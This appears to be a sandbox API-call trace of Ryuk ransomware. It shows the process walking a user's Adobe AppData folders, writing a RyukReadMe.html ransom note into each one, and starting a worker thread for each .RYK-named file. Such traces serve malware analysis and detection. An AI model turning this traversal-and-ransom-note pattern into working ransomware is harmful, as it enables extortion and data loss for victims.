	[0204.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.528] GetLastError () returned 0xb7
	[0204.528] CloseHandle (hObject=0x4ac) returned 1
	[0204.528] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f0a0
	[0204.529] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.529] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0204.529] SetLastError (dwErrCode=0x0) 
	[0204.529] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.529] GetLastError () returned 0xb7
	[0204.529] CloseHandle (hObject=0x438) returned 1
	[0204.530] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0204.530] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.530] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0204.530] SetLastError (dwErrCode=0x0) 
	[0204.530] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.530] GetLastError () returned 0xb7
	[0204.531] CloseHandle (hObject=0x4cc) returned 1
	[0204.531] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0204.985] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.985] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0204.985] SetLastError (dwErrCode=0x0) 
	[0204.985] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c
	[0204.985] GetLastError () returned 0xb7
	[0204.985] CloseHandle (hObject=0x46c) returned 1
	[0204.986] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0204.986] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.986] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0204.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0204.989] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.990] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0204.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0204.993] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.994] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0204.994] SetLastError (dwErrCode=0x0) 
	[0204.994] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c
	[0204.994] GetLastError () returned 0xb7
	[0204.994] CloseHandle (hObject=0x48c) returned 1
	[0204.995] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ce, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0204.995] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.995] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0204.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0204.997] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.998] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.998] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ce, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.998] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0204.998] SetLastError (dwErrCode=0x0) 
	[0204.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c
	[0204.998] GetLastError () returned 0xb7
	[0204.998] CloseHandle (hObject=0x48c) returned 1
	[0204.999] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.999] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0204.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0205.001] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.002] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0205.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0205.005] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.005] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0205.006] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0205.006] SetLastError (dwErrCode=0x0) 
	[0205.006] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c
	[0205.006] GetLastError () returned 0xb7
	[0205.006] CloseHandle (hObject=0x46c) returned 1
	[0205.006] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.006] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.007] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0205.007] SetLastError (dwErrCode=0x0) 
	[0205.007] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.007] GetLastError () returned 0xb7
	[0205.007] CloseHandle (hObject=0x4cc) returned 1
	[0205.008] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0205.008] SetLastError (dwErrCode=0x0) 
	[0205.008] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.008] GetLastError () returned 0xb7
	[0205.008] CloseHandle (hObject=0x4cc) returned 1
	[0205.008] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0205.009] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.009] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0205.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
